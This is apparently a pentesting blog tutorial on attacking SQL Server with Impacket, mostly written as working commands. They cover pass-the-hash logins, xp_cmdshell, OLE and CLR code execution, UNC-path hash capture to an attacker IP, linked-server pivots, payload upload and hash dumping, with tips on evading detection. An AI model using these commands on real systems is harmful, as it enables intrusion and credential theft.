A compromised MSSQL server is one of the more useful pivots you can land in an AD environment. Service accounts are almost always more privileged than they need to be — half the production databases I’ve seen run as a domain user that’s also Local Admin somewhere else, which is a bad time waiting to happen. On top of that, SQL Server ships with extended stored procedures that give you code execution if you can call them, and linked-server relationships across the org tend to outlive whoever set them up.
Most DBAs interact with it through SQL Server Management Studio on Windows. We’re going to do it from a Linux box with Impacket’s mssqlclient.py, which is what makes scripting these attacks practical.
This post goes past SELECT * FROM users. RCE through the usual xp_cmdshell and the alternatives that aren’t watched as closely, hash capture without ever cracking a password, and linked-server hops that let you reach hosts you can’t talk to directly.
Make sure Impacket is installed: pipx install git+https://github.com/fortra/impacket.git
Part 1: Finding the target#
MSSQL listens on TCP/1433 by default. Named instances can sit on dynamic ports.
Nmap#
# Scan for the default MSSQL port
# The ms-sql-info script identifies version, auth types, and instance names.
nmap -p 1433 --script ms-sql-info,ms-sql-ntlm-info 192.168.1.0/24UDP/1434 — the SQL Browser service#
If UDP/1434 is open, the SQL Browser is running. It’s basically DNS for SQL instances — you ask it about a named instance and it tells you the TCP port that instance is on. Worth checking when 1433 scans turn up nothing; named instances on weird ports are easy to miss otherwise.
Part 2: Authentication#
mssqlclient.py covers all the auth methods you’ll run into.
SQL authentication#
A user defined in the database itself, like the classic sa account. Lives only in SQL, not in AD.
# Syntax: user:password@host
mssqlclient.py sa:'Password123!'@192.168.1.100Windows authentication#
What you’ll see in domain environments. Add -windows-auth so the tool wraps the auth in NTLM/Kerberos.
# Syntax: DOMAIN/user:password@host
mssqlclient.py CORP/jsmith:'Password123!'@192.168.1.100 -windows-authPass-the-Hash#
If you’ve got a domain user’s NTLM hash, skip the cracking step:
# Syntax: -hashes LM:NT
mssqlclient.py -hashes :7c7b5e0a8d5d9c2409600d8f2898322c CORP/jsmith@192.168.1.100 -windows-authKerberos#
If you’ve got a .ccache (from Rubeus, ticketer.py, or pulled off a compromised host):
export KRB5CCNAME=/tmp/user.ccache
# Note: You MUST use the FQDN for Kerberos
mssqlclient.py -k -no-pass dc01.corp.localThe FQDN matters. Kerberos resolves the SPN against the hostname, not the IP. -k against a raw IP just doesn’t work.
Part 3: Getting RCE#
xp_cmdshell#
The classic. Spawns cmd.exe as the SQL service account. Reliable, but it’s also the most-watched method out there.
SQL> enable_xp_cmdshell
[*] Enabling xp_cmdshell ..
SQL> xp_cmdshell whoami
nt service\mssqlserverEnabling xp_cmdshell calls sp_configure and writes Windows Event ID 15457. Any halfway-decent SOC has an alert on that.
sp_oacreate (OLE Automation)#
If xp_cmdshell is disabled or alerted on, OLE Automation gives you another path. It uses the wscript.shell COM object. Same sysadmin privilege requirement, but it tends to fly under the radar more than xp_cmdshell.
SQL> enable_ole_automation
[*] Enabling OLE extended stored procedures...
SQL> sp_oacreate 'wscript.shell'CLR assemblies#
If TRUSTWORTHY is on, you can load a custom .NET DLL into the SQL Server process and execute it. mssqlclient.py has a one-liner for this:
# You need a compiled C# DLL that executes your payload
SQL> install_clr custom.dll
SQL> enable_clrThis effectively turns the sqlservr.exe process into your implant. EDRs have a harder time with this one because the parent process is the SQL Server itself doing CLR things, which it’s supposed to do — there’s no cmd.exe, no PowerShell, nothing obviously out of place.
Part 4: Coerced authentication#
Sometimes you have a low-privilege account that can’t run commands but can execute xp_dirtree or xp_fileexist. Both of those will happily reach out to a UNC path you specify, and the SQL service account will authenticate to whatever’s on the other end. That account is often SYSTEM or a domain user with real privileges.
Stand up
Responderorsmbserver.pyon10.10.14.5.From the SQL session:
SQL> xp_dirtree '\\10.10.14.5\share\foo'Your listener catches the NetNTLMv2 hash of the SQL service account. Crack it with Hashcat (mode 5600), or feed it directly to
ntlmrelayx.py.
Part 5: Linked servers#
Linked servers are basically trust relationships between databases. A DBA connects ProdDB to DevDB so they can copy data without rewriting tooling. Compromise DevDB, you may be able to reach into ProdDB without ever authenticating against it directly.
Enumerate#
SQL> SELECT * FROM sys.servers;The hop#
If ServerA is linked to ServerB, query B from A with OPENQUERY:
SQL> SELECT * FROM OPENQUERY("ServerB", 'SELECT @@VERSION');If ServerB has RPC Out enabled (and a lot do, because of how some replication and reporting features get configured), you can enable xp_cmdshell on ServerB from ServerA’s context:
-- Enabling xp_cmdshell on the remote link
SQL> EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [ServerB];
SQL> EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [ServerB];
SQL> EXEC ('xp_cmdshell ''whoami''') AT [ServerB];Impacket doesn’t crawl the link graph for you, but writing these queries by hand lets you pivot without opening another network connection.
Part 6: File transfer over TDS#
You don’t have to fall back to certutil or wget from a shell. mssqlclient.py has built-in upload/download that goes through OLE/CLR, so the file transfer rides the TDS protocol on the existing port 1433 connection. That’s nice in environments where the SQL server can talk to you on 1433 but doesn’t have any outbound internet.
# In the mssqlclient shell
SQL> upload local_payload.exe C:\Windows\Temp\payload.exe
SQL> download C:\Users\Administrator\Desktop\flag.txt local_flag.txtIt’s much quieter than running curl or wget on the victim — anything monitoring the host for outbound connections to unexpected destinations sees nothing, because the connection that’s already trusted is doing all the work.
Part 7: Find the data#
Don’t forget the obvious — there’s a database here.
List databases#
SQL> SELECT name FROM sys.databases;Find columns named like pass*#
-- Search all tables in the current DB for columns named like 'pass'
SQL> SELECT t.name AS TableName, c.name AS ColumnName FROM sys.tables t JOIN sys.columns c ON t.object_id = c.object_id WHERE c.name LIKE '%Pass%';Dump SQL user hashes#
If you’re sysadmin, you can read sys.sql_logins:
SQL> SELECT name, password_hash FROM sys.sql_logins;Crack with Hashcat mode 1731 (MSSQL 2012/2014).
Wrapping up#
sysadmin on a SQL Server is a much bigger deal than most database owners think it is. It’s not just access to the data. It’s code execution as the service account, hash capture against any host that account touches, and a quiet path through linked servers into databases the network is supposedly segmented away from. mssqlclient.py is the tool that makes most of that practical without ever logging into Windows.
Two things to keep an eye out for on engagements: database servers tend to fall behind OS patch cycles, sometimes by years, and the service account configuration is rarely something a security review actually scrutinized. The “service account is sa” pattern, or the close cousin where sa’s password is the one a developer set in 2014 and nobody changed, isn’t going away anytime soon.
UncleSp1d3r out.
References#
- Impacket GitHub
- HackTricks - MSSQL Pentesting
- PowerUpSQL - The PowerShell equivalent.